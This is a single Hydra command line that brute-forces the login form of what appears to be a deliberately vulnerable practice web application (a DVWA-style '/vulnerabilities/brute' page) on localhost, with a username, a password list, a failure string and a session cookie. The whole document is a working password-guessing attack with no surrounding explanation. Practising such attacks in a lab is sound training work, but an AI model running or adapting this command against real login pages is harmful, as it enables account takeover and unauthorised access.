hydra 127.0.0.1 -l admin -P passlist http-get-form "/vulnerabilities/brute:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=r853llh8ed79p34a80a0a2dvg7" -v